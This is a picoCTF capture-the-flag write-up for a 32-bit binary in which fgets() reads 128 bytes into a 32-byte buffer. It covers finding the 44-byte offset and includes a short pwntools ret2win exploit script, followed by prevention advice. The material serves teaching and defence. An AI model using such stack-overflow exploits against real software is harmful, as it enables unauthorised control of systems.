Skip to main content

Echo Escape 2 picoCTF 2026 Solution

A binary exploitation challenge involving a subtle memory handling flaw that leaks protected data.

Published: March 20, 2026Updated: September 20, 2026

Description

The developers learned their lesson from unsafe input functions and tried to secure things using fgets(). Unfortunately, they didn't use it correctly. Can you still find a way to read the flag? Download the program file and source code.

Download vuln and its source code.
Read the source code to understand how input is handled.
bash
cat vuln.c
bash
chmod +x vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Find the fgets() bug
    Observation
    The description says fgets() is used but not correctly. Compare its size argument against the buffer declaration and look for the mismatch.
    Read vuln.c - the developer switched from gets() to fgets() but passed the wrong size argument (128 instead of 32). The result is that fgets still reads far more bytes than the buffer can hold, creating a stack overflow. This is a 32-bit binary.
    bash
    cat vuln.c
    bash
    checksec --file=./vuln
    bash
    file vuln

    Expected output

    vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, not stripped
    What didn't work first

    Tried: Assume the binary is safe because it uses fgets() instead of gets()

    fgets() is only safe when its size argument matches the allocation. Here it is given 128 for a 32-byte buffer, so it still writes 96 bytes past the end. Switching functions fixes nothing when the size is wrong.

    Tried: Skip checksec and assume no canary is present based on the source code alone

    checksec reads the real ELF headers for canary, NX, PIE, and RELRO; the source says nothing about the compiler flags used. With a canary present, a plain overflow crashes on a stack smashing check rather than redirecting execution, and you would need a leak first.

    Learn more

    fgets(buf, size, stdin) is the safe replacement for gets() precisely because it accepts a size limit. But the safety guarantee only holds when the size argument accurately reflects the buffer's actual allocation. A common developer mistake is passing a size that is larger than the buffer - for example, writing fgets(buf, 256, stdin) when buf was declared as char buf[64]. The result is that fgets happily reads up to 256 bytes into a 64-byte region, overflowing 192 bytes past the end.

    This is a false-fix pattern: the developer knows gets() is dangerous and switches to fgets(), but copies the wrong size constant. It appears in real codebases regularly - particularly when refactoring legacy code where the buffer size and the read size were originally the same constant name but later diverged. Compiler hardening catches it at runtime: -D_FORTIFY_SOURCE=2 aborts the call once it knows the destination object size, and AddressSanitizer reports the out-of-bounds write. clang-tidy can flag it statically.

    checksec shows which mitigations the binary was compiled with: stack canaries (SSP), non-executable stack (NX), ASLR/PIE, and RELRO. If the stack canary is absent, a straightforward overflow of the return address succeeds. If a canary is present, you need to first leak its value (via an information leak) before overwriting past it.

  2. Step 2Find the offset to the return address
    Observation
    checksec and file both report a 32-bit binary. Read the buffer's offset from EBP in the disassembly and add 4 for the saved EBP to reach the return address.
    In Ghidra, look at the vuln function. The fgets call reads into a buffer that is hex 28 (40 decimal) bytes below EBP. The old EBP is 4 bytes. So the total padding before the return address is 40 + 4 = 44 bytes.
    bash
    objdump -d vuln | grep -A 30 '<vuln>'
    bash
    # In Ghidra: look at the sub esp instruction to find buffer offset from EBP
    bash
    # Buffer is at EBP - 0x28 (40 bytes), old EBP is 4 bytes => 44 bytes to return address
    What didn't work first

    Tried: Use a cyclic pattern and look at $rip after a crash to find the offset

    This is a 32-bit binary, so the register to read after the crash is EIP, not RIP. Searching for the pattern in a zero-extended 64-bit register gives a wrong offset or no match. Use a 32-bit-aware GDB, or read the disassembly: the buffer sits at EBP minus 0x28, so 40 bytes reach the saved EBP and 44 reach the return address.

    Tried: Guess the offset is 32 because the source code declares char buf[32]

    The buffer size is not the offset to the return address. The saved EBP, 4 bytes here, sits between them. A 32-byte pad stops inside the buffer, leaving both the saved EBP and the return address intact, and the program returns normally.

    Learn more

    A cyclic (De Bruijn) pattern is a sequence of bytes where every subsequence of length n appears exactly once. When this pattern overwrites the saved return address and the program crashes, the value in the instruction pointer register ($rip on x86-64, $eip on x86-32) is a unique 4- or 8-byte substring of the pattern. cyclic_find() searches the pattern for that substring and returns its offset from the start, giving you the exact number of padding bytes needed.

    A core dump is produced when the process crashes with an unhandled signal (SIGSEGV). Pwntools' Corefile class parses the core and exposes register state, memory maps, and stack contents. Alternatively, GDB's pattern create / pattern offset (from the PEDA or GEF extension) achieves the same result interactively. Running ulimit -c unlimited before the program ensures core dumps are written.

    This binary is 32-bit, so the saved return address is 4 bytes wide and there is no 16-byte alignment requirement. The stack layout from the top of the frame is: local variables, then the saved base pointer (EBP, 4 bytes), then the return address (4 bytes). The disassembly shows the buffer at EBP - 0x28 (40 bytes below EBP), so padding is 40 + 4 = 44 bytes before the return address. The cyclic approach confirms this empirically without needing to read the assembly manually.

  3. Step 3Redirect execution to win()
    Observation
    objdump shows an unstripped binary with win() at a fixed address, and checksec reports no PIE and no canary. A plain ret2win works: 44 bytes of padding and the address packed as 32 bits.
    Find win's address (around 0x8049276 in this binary), pad 44 bytes, then append the 4-byte little-endian address. In 32-bit there is no SSE alignment issue, so no ret gadget is needed.
    bash
    objdump -d vuln | grep '<win>'
    python
    python3 << 'EOF'
    from pwn import *
    
    e = ELF("./vuln")
    p = remote("<HOST>", <PORT_FROM_INSTANCE>)
    
    win_addr = e.sym["win"]   # should be around 0x8049276
    payload  = b"A" * 44
    payload += p32(win_addr)   # 32-bit binary uses p32, not p64
    
    p.sendlineafter(b"key", payload)
    print(p.recvall(timeout=3))
    EOF
    What didn't work first

    Tried: Use p64(win_addr) instead of p32(win_addr) when crafting the payload

    p64 packs 8 bytes, and the return address slot here is 4. The extra bytes spill onto the next stack word and execution jumps to garbage. Match the pack width to the architecture.

    Tried: Add a ret gadget before win_addr to fix stack alignment, as is required on 64-bit binaries

    The 16-byte alignment requirement belongs to the 64-bit System V ABI and does not apply here. Inserting a ret gadget shifts the return address by 4 bytes, so the function gets a corrupted frame and segfaults or misreads its locals. On 32-bit the payload is 44 bytes of padding and the packed address, nothing between.

    Learn more

    A classic ret2win exploit overwrites the saved return address with the address of a "win" function that already exists in the binary - here win() at around 0x8049276. The payload is simply padding bytes (to fill the buffer and the saved EBP up to the return address) followed by the 4-byte little-endian address of the target function. When the vulnerable function executes its ret instruction, it pops the overwritten address off the stack and jumps there.

    p32(addr) in pwntools packs a 32-bit integer into 4 little-endian bytes, which is what this binary expects (the 64-bit equivalent is p64(addr), 8 bytes). Getting the endianness right is critical - submitting the address in big-endian order will jump to garbage memory and crash instead.

    This technique is the simplest form of control-flow hijacking. More advanced variants include ret2libc (jumping to system()/bin/sh instead of a win function), ret2plt (calling a PLT stub to invoke library functions), and ROP (Return-Oriented Programming) which chains small code snippets ("gadgets") together to execute arbitrary logic even when no win function exists. This challenge is a clean introduction to the core concept before those complications arise.

    See Buffer Overflow Binary Exploitation and Pwntools for CTF for the broader workflow.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{fgets_0v3rfl0w42_...}

The developer switched to fgets() but passed 128 instead of 32 - the buffer still overflows. Buffer is 40 bytes below EBP in a 32-bit binary, so 44 bytes of padding then p32(win address) redirects execution.

Key takeaway

fgets() is only safe when its size argument exactly matches the buffer allocation; passing a larger literal is the same vulnerability as gets() wrapped in false confidence. The correct pattern is fgets(buf, sizeof(buf), stdin), which automatically reflects any future buffer-size change and is the form runtime hardening like AddressSanitizer and -D_FORTIFY_SOURCE can actually check.

How to prevent this

fgets() is safe only when the size matches the actual buffer. A wrong literal here is exactly as bad as gets().

  • Use sizeof(buf), never a hardcoded number. fgets(buf, sizeof(buf), stdin) is correct under any future buffer-size change; fgets(buf, 256, stdin) rots when someone shrinks buf.
  • Build with -fstack-protector-strong. The canary catches the overflow at function epilogue regardless of which API got the size wrong.
  • Add -D_FORTIFY_SOURCE=3 on glibc. It replaces fgets with a fortified version that knows the actual __bos (buffer-object-size) and aborts on out-of-bounds writes when the destination size is known at compile time.

Related reading

Tools used in this challenge

Where to go next